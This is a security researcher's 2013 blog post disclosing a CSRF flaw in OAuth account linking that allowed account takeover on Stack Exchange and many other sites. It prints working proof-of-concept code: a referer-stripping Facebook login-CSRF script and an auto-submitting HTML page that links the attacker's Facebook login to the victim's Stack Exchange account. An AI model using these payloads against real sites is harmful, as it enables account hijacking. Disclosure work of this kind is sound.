Common OAuth issue you can use to take over accounts
May 9, 2013 4 Comments
TLDR; This is a post about a CSRF issue in OAuth I found where if a victim visited a malicious site while logged in, they could take over your account. At least stackexchange, woot.com, imdb, goodreads, soundcloud, myspace, foxnews, pinterest, groupon, huffingtonpost, foursquare, slideshare, kickstarter, and (sort of) vimeo were all vulnerable to this attack this year.
The 2013BH tag links to all posts related to my recent Blackhat EU talk I gave in March. Probably two more posts are coming, and I’ll post the whole talk and finished whitepaper relatively soon, unless someone else does :)
OAuth and OpenID are protocols that can allow authorization and authentication to applications in a cross domain way. It’s common for popular websites to use these protocols to allow users to login from various sources without having to have credentials for the specific site. For example, the sites I list in the tldr all allow logins from identity providers such as Facebook, twitter, or Google.
Here’s an image from Facebook on how this flow can work
This sort of flow can be used to associate multiple accounts. For example, an application can have an account on the site, but allow users to tie their Facebook profiles as an additional login mechanism. By necessity this is a cross domain POST, and can be difficult to protect against CSRF.
Several papers have written about this in the past (http://stephensclafani.com/2011/04/06/oauth-2-0-csrf-vulnerability/, http://sso-analysis.org/) and the spec itself has a section pertaining to CSRF mitigation. The recommendation is generically to pass a state parameter to the identity provider. For this to work, it is necessary for this parameter to be unguessable and tied to the originating site session. Although theoretically these recommendations could be effective, it should come as no surprise that this is difficult to get right.
Most sites rely on the fact that a user is logged in to their own identity provider site (such as Google or Facebook). However, this trust can easily be broken. In the case of Facebook, the login is/was vulnerable to CSRF. Additionally, even if the identity provider login attempts proper CSRF protection, it’s almost always possible to force cookies and log the user in as an attacker.
The First Attack I thought of
Here’s a typical scenario. StackExchange has old accounts since the early days, but to make your life easier they want you to be able login with newer accounts, like your Facebook account. This looks like:
Using attacks like I’ve chatted about in the past here, here, here and here, I thought this may be vulnerable to something like this:
- Toss the cookies into the victim stackoverflow account
- The cookies used for auth may not be tied to the nonce sent to the identifier (e.g. facebook or Google)
- Associate the attacker’s account with the victim’s account and win!
This is kind of hard to test, since you have to map out all the cookies for each site.
Easier Attack
It turns out there’s an easier way (although above will probably be a problem for a while). Here is the easier way:
- Create an attacker identity provider account (e.g. Facebook)
- Grant the accessing application (e.g. stackoverflow) permissions to attacker Facebook
- Victim is logged in to accessing application.
- A malicious site does the following:
- Logs victim in to attacker’s Facebook by using CSRF on the Login, or by tossing cookies
- POSTs to the account association request
- Attacker Logs out of other sessions
- At this point an attacker completely controls the victim application account, and can usually perform various actions, such as deleting the other logins.
Out of all the applications tested (see below for most of them), all but one have proven vulnerable to this attack. Congratulations flickr, you’re the only site I looked at that seemed to do this without any issue :)
Stackexchange, woot.com, etc. Repro
There are a couple ways this similar vulnerability occurs, but I’ll spell out stackexchange first, since they were the first site I attempted this on. The stackexchange people were awesome – they responded in less than a day, and some dev was like “my bad”, and fixed it in just a few hours. Other sites took months to fix and never even talked to me about it really.
Here I’ve omitted things around reliability, logging the victim out, and sneakiness for the sake of simplicity (but I will cover this in a followup post soon. Really, I will, it was part of the blackhat talk too). The below repro is with Firefox inprivate mode, using Facebook. Here is a video showing what it should look like if you follow along.
Walking through the steps above with more stackexchange specific detail:
- Create an attacker Facebook account
- Give the application permission to the attacker’s account. Do not finish the entire flow here, just tell Facebook you want to give stackexchange access to everything
- Use the following script to login to Facebook. This particular technique is from Kotowicz for removing the referer on Facebook login. Note I have a more robust script that I developed after this here. Similarly, you can do attacks with other identity providers (Twitter, Google, etc) but you need to toss cookies into their domain, so it’s definitely more difficult.
//fb_login.html function post_without_referer() { // POST request, WebKit & Firefox. Data, meta & form submit trinity location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url=data:text/html,' + '<form id=dynForm method=POST action=\'https://www.facebook.com/login.php?login_attempt=1\'>' + '<input type=hidden name=email value=yyy@live.com />' + '<input type=hidden name=pass value=xxxxxxxx/>' + '<input type=hidden name=default_persistent value=0 />' + '<input type=hidden name=timezone value=480 />' + '<input type=hidden name=locale value=en_US />' + '</form><script>document.getElementById(\'dynForm\').submit()</scri'+'pt>"></html>'; } post_without_referer();
- Create an HTML page that logs in as the attacker and then ties the attacker account to the victim account.
<html> <body> <script type="text/javascript"> function fb_login() { return (window.open("./fb_login.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1")); } function stackexchange_addlogin() { document.getElementById("sForm").submit(); } function pwn() { win1 = fb_login(); setTimeout("stackexchange_addlogin()", 7000); //win1.close() } </script> <p>This is just meant to be a dirty/simple PoC, and makes very little attempt at being stealthy</p> <p>To repro:</p> <ul> <li>login to stackexchange</li> <li>click "pwn"</li> <li>An attacker now owns your stackexchange account!</li> </ul> <!-- iframe necessary to get cookies if we haven't visited facebook (needed to put a space modify to put on page)--> < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox>< /iframe> <form id="sForm" action="http://stackexchange.com/users/authenticate" method="POST"> <input type="hidden" name="oauth_version" value="2.0" /> <input type="hidden" name="oauth_server" value="https://graph.facebook.com/oauth/authorize" /> <input type="hidden" name="openid_identifier" value="" /> </form> <a href="#" onclick="pwn()">pwn</a> </body> </html>